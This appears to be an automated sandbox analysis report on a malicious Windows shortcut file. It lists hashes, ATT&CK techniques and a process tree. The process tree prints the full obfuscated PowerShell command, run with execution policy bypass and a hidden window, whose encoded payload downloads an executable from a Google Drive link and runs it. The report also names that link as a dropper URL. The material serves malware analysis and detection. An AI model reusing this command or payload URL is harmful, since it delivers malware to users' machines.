95ca946aef501e5114c26cb6ef895dbc29761b4f7d6bbccc22e4bfbde1be6759

General

Target

fc1006824cb66d17c68f1ffa53b37c4b_JaffaCakes118.lnk
Size

3KB
MD5

fc1006824cb66d17c68f1ffa53b37c4b
SHA1

c54b745011bccb3d068ba74a4e543cb2de1043a4
SHA256

95ca946aef501e5114c26cb6ef895dbc29761b4f7d6bbccc22e4bfbde1be6759
SHA512

1d14c5b3058c994cf542807a4341510453fda81ea9a67cfc5038b2f8fc5e80fca3271c44a9c937d2366a140e197ec605bf280a18278cae6886fa939fb28053c0

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=0B3AM8u080I_Pb2I2dXdkaUxHWm8

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	3004	powershell.exe
7	3004	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1976	powershell.exe
3004	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2748	cmd.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1976	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 1976	2384	cmd.exe	31
PID 2384 wrote to memory of 1976	2384	cmd.exe	31
PID 2384 wrote to memory of 1976	2384	cmd.exe	31
PID 1976 wrote to memory of 2748	1976	powershell.exe	32
PID 1976 wrote to memory of 2748	1976	powershell.exe	32
PID 1976 wrote to memory of 2748	1976	powershell.exe	32
PID 2748 wrote to memory of 3004	2748	cmd.exe	33
PID 2748 wrote to memory of 3004	2748	cmd.exe	33
PID 2748 wrote to memory of 3004	2748	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\fc1006824cb66d17c68f1ffa53b37c4b_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cMD /c PowERShelL.ExE -eXEcUtiOnPoLIcy byPass -WIndowSTyLE HIddeN -ENCoDeDcOMMaNd IAAoAE4AZQB3AC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUATQAuAG4ARQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAwAEIAMwBBAE0AOAB1ADAAOAAwAEkAXwBQAGIAMgBJADIAZABYAGQAawBhAFUAeABIAFcAbQA4AB0gIAAsACAAHSAkAEUAbgB2ADoAYQBwAHAAZABBAHQAYQBcAHYAdgByAGUAYQBkAGUAcwB4AHQALgBlAHgAZQAdICAAKQAgADsAIABpAG4AdgBvAEsARQAtAEkAdABlAG0AIAAdICQAZQBuAHYAOgBhAHAAUABkAGEAVABhAFwAdgB2AHIAZQBhAGQAZQBzAHgAdAAuAGUAeABlAB0g
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1976
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c PowERShelL.ExE -eXEcUtiOnPoLIcy byPass -WIndowSTyLE HIddeN -ENCoDeDcOMMaNd IAAoAE4AZQB3AC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUATQAuAG4ARQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAwAEIAMwBBAE0AOAB1ADAAOAAwAEkAXwBQAGIAMgBJADIAZABYAGQAawBhAFUAeABIAFcAbQA4AB0gIAAsACAAHSAkAEUAbgB2ADoAYQBwAHAAZABBAHQAYQBcAHYAdgByAGUAYQBkAGUAcwB4AHQALgBlAHgAZQAdICAAKQAgADsAIABpAG4AdgBvAEsARQAtAEkAdABlAG0AIAAdICQAZQBuAHYAOgBhAHAAUABkAGEAVABhAFwAdgB2AHIAZQBhAGQAZQBzAHgAdAAuAGUAeABlAB0g
    3⤵
    - Hide Artifacts: Hidden Window
    - Suspicious use of WriteProcessMemory
    PID:2748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowERShelL.ExE -eXEcUtiOnPoLIcy byPass -WIndowSTyLE HIddeN -ENCoDeDcOMMaNd IAAoAE4AZQB3AC0ATwBCAEoARQBjAHQAIABTAFkAcwBUAEUATQAuAG4ARQBUAC4AVwBFAEIAYwBMAGkAZQBOAFQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABFACgAIAAdIGgAdAB0AHAAcwA6AC8ALwBkAHIAaQB2AGUALgBnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBjAD8AZQB4AHAAbwByAHQAPQBkAG8AdwBuAGwAbwBhAGQAJgBpAGQAPQAwAEIAMwBBAE0AOAB1ADAAOAAwAEkAXwBQAGIAMgBJADIAZABYAGQAawBhAFUAeABIAFcAbQA4AB0gIAAsACAAHSAkAEUAbgB2ADoAYQBwAHAAZABBAHQAYQBcAHYAdgByAGUAYQBkAGUAcwB4AHQALgBlAHgAZQAdICAAKQAgADsAIABpAG4AdgBvAEsARQAtAEkAdABlAG0AIAAdICQAZQBuAHYAOgBhAHAAUABkAGEAVABhAFwAdgB2AHIAZQBhAGQAZQBzAHgAdAAuAGUAeABlAB0g
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Window

1

T1564.003

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1976-38-0x000007FEF614E000-0x000007FEF614F000-memory.dmp

Filesize
4KB

Download
memory/1976-39-0x000000001B440000-0x000000001B722000-memory.dmp

Filesize
2.9MB

Download
memory/1976-40-0x0000000002780000-0x0000000002788000-memory.dmp

Filesize
32KB

Download
memory/1976-41-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-42-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-47-0x000007FEF5E90000-0x000007FEF682D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing